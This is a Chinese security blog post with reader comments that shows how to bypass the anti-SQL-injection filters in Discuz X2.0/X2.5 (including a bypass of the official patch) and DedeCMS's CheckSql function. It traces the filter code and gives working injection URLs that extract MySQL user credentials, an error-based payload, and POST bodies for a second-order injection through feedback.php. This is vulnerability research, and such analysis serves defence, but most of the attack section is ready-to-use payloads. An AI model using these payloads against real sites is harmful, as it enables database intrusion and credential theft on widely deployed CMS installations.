0x00 前言
目前主流的CMS系统当中都会内置一些防注入的程序，例如Discuz、dedeCMS等，本篇主要介绍绕过方法。
0x01 Discuz x2.0防注入
防注入原理
这里以Discuz最近爆出的一个插件的注入漏洞为例，来详细说明绕过方法。
漏洞本身很简单，存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中，代码如下所示
function getGoods($id){
$query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);
$goods = DB::fetch($query);
$goods['endtime2'] = date('Y-m-d',$goods['endtime']);
$goods['price2'] = $goods['price'];
if($goods['sort'] ==2){
$goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);
$query = DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc ");
$last = DB::fetch($query);
if(is_array($last)){
$goods['price'] = $last['chujia'];
$goods['uid'] = $last['uid'];
$goods['username'] = $last['username'];
$goods['pm'] = $last;
if(time()+600> $goods['endtime']){
$goods['endtime'] = $last[time]+600;
$goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);
}
}
}
return $goods;
}
触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行，如图所示：
下面可以构造如下请求触发漏洞了，如图所示：
不过程序内置了一个_do_query_safe函数用来防注入，如图所示
这里跟踪一下_do_query_safe()函数的执行，它会对以下关键字做过滤，如图所示：
因为我们的url中出现了union select，所以会被过滤掉。
绕过方法
这里利用Mysql的一个特性绕过_do_query_safe函数过滤，提交如下url：
http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
这里我们跟踪一下，绕过的具体过程。它会将/**/中间的内容去掉，然后保存在$clean变量中，其值为
select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
再进一步跟踪，它会将 /**/ 也去掉，然对$clean变量做过滤，如图所示
此时$clean值，如图所示
此时$clean变量中不在含有危险字符串，绕过_do_query_safe函数过滤，成功注入，截图如下：
0x02 Discuz X2.5防注入
防注入原理
Discuz X2.5版修改了防注入函数的代码，在/config/config_global.php中有如下代码，如图所示
这里 $_config['security']['querysafe']['afullnote'] 默认被设置为0，重点关注这一点。
这里跟踪一下失败的原因，如图所示：
此时观察一下变量，_do_query_safe($sql)函数会将 /**/ 中的内容去掉，然后存到$clean中，如图所示：
其实，程序执行到这里跟Discuz X2.0没有区别，$clean的值都一样。但是关键在下面，如图所示：
因为前面提到$_config['security']['querysafe']['afullnote']=’0’，所以这里不会替换 /**/ 为空，并且它在后面会判断$clean中是否会出现“/*”，如图所示：
所以注入失败。
绕过方法
在Mysql当中，定义变量用@字符，可以用set @a=’abc’，来为变量赋值。这里为了合法的构造出一个单引号，目的是为了让sql正确，我们可以用@ ' 放入sql语句当中，帮助我们绕过防注入程序检查。
这里利用如下方式绕过_do_query_safe函数过滤，如下所示：
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
这里跟踪一下执行的过程，如图所示：
这里有一个if判断，重点看这句
$clean = preg_replace("/'(.+?)'/s", '', $sql);
它会将$sql中单引号引起来的字符串省略掉，所以我们可以用绕过dede防住ids的思路，利用
@`'` union select @`'`
这样的方法，在下面的过滤中省掉union select，这里跟踪一下，如图所示：
这样便绕过了_do_query_safe函数检测，成功绕过防注入，如图所示：
不过后来Discuz官方发布了一个修复补丁，但并没用从根本上解决问题。官方的修复代码如下：
加了一个判断，过滤字符串中的@，但是始终没有修复根本问题，关键是上边的那个if判断会将单引号之间的内容（包括单引号）替换为空，代码如下：
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
$clean = preg_replace("/'(.+?)'/s", '', $sql);
}
这里我只要稍做一下变换就可以让@字符消失，从而绕过它的过滤，利用如下所示：
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
这里我引入了`'`用来隐藏第一个@字符，并将第一个@`'`替换为@`''`，这样便可以替换掉第二个@，这里我们跟踪一下代码，如图所示：
可以看到$clean变为
select * from pre_v63_goods where `id` =``
成功绕过补丁，如图所示：
不过这样做的代价是不能再使用union select了，只能通过报错获取数据。
0x03 DedeCMS防注入
防注入原理
这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例，分析如何绕过其防注入系统。不过在这之前，还得先提一下这个漏洞。
漏洞存在于/plus/feedback.php中的第244行，代码如下所示
if($comtype == 'comments')
{
$arctitle = addslashes($title);
$typeid = intval($typeid);
$ischeck = intval($ischeck);
$feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
if($msg!='')
{
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
//引用回复
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];
$aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg, 2);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
}
这里$title变量未初始化，所以$title可以作为可控变量，所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中，但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码，在第268行，如下所示
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];
这里的查询#@__feedback表正式上面INSERT的那个表，arctitle字段取出来放到$arctitle变量当中，继续跟踪到第273行，这下豁然开朗了，
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
这里$arctitle变量未作任何处理，就丢进了SQL语句当中，由于我们可以控制$title，虽然$arctitle是被addslashes函数处理过的数据，但是被INSERT到数据库中又被还原了，所以综合起来这就造成了二次注入漏洞。
但是这里如何利用呢，通过跟踪代码发现，整个dede在整个过程中始终没有输出信息，所以我们无法通过构造公式报错来获取数据，但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的，所以我们可以通过构造SQL语句，将我们要执行的代码插入到msg字段当中，这样便可以输出执行的内容了。
绕过方法
众所周知，dedeCMS内置了一个CheckSql()函数用来防注入，它是80sec开发的通用防注入ids程序，每当执行sql之前都要用它来检查一遍。其代码如下所示：
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
//如果是普通查询语句，直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//老版本的Mysql并不支持union，常用的程序里也不使用union，但是一些黑客使用它，所以检查它
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释，但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
//这些函数不会被使用，但是黑客会用它来操作文件，down掉数据库
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询，我们的程序里可能也用得少，但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = TRUE;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
但通过跟踪这段代码发现，它有个特征就是会将两个单引号之间的内容用$s$替换，例如’select’会被替换为$s$，这里用两个@`'`包含敏感字，这样$clean变量中就不会出现敏感字，从而绕过CheckSql()函数检测。
这里可以设置title为如下代码，一方面绕过ids防注入代码检测，另一方面加一个#注释掉后面的代码，但是还要做一下变形，就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL，而@`'`是一个变量，默认为NULL，直接插入@`'`的话会报错，所以需要以char(@`'`)的方法转换一下。
',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
跟踪代码，如图所示
如下SQL语句
INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
被替换为了
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
字符串中没有任何敏感字，成功绕过CheckSql()函数检测。
POST如下请求给feedback.php，如下所示：
action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor¬user=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
跟踪代码，实际执行的SQL语句跟踪变量如下所示：
被插入数据库中的内容，如图所示：
下面再POST如下内容给feedback.php，
action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
跟踪一下这里执行的SQL语句，如图所示
所以select user()执行了，并且可以作为msg字段输出。
0x04 总结
在写这篇文章之前，我分析了很多常用的cms系统的源码，包括discuz、dedecms、phpwind、phpcms等，只有在discuz、dedecms这两个系统中用到通用防注入，但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下，这些绕过方法还是很有价值的。
各种吐槽：
nauscript | 2013/07/29 17:26 | #
很详细 有没有关于绕过D盾的例子
有妹子送上 | 2013/07/29 18:42 | #
涨姿势了
酱油甲 | 2013/07/29 22:11 | #
涨姿势了
Gavin | 2013/07/30 09:39 | #
lz是骚货
genxor | 2013/07/30 22:36 | #
日你
疯狂的dabing | 2013/07/30 16:08 | #
以前觉得80sec那个防注入写的非常好，把所有的程序都加上了这段代码。。。直到后来一个dedecms被黑了，从日志中找到了@`'`。。。
ccSec | 2013/07/30 20:13 | #
超屌的文章，想问下LZ是用什么IDE来调试PHP的~
冰杰 | 2013/07/30 22:47 | #
碉堡~
留言评论（旧系统）：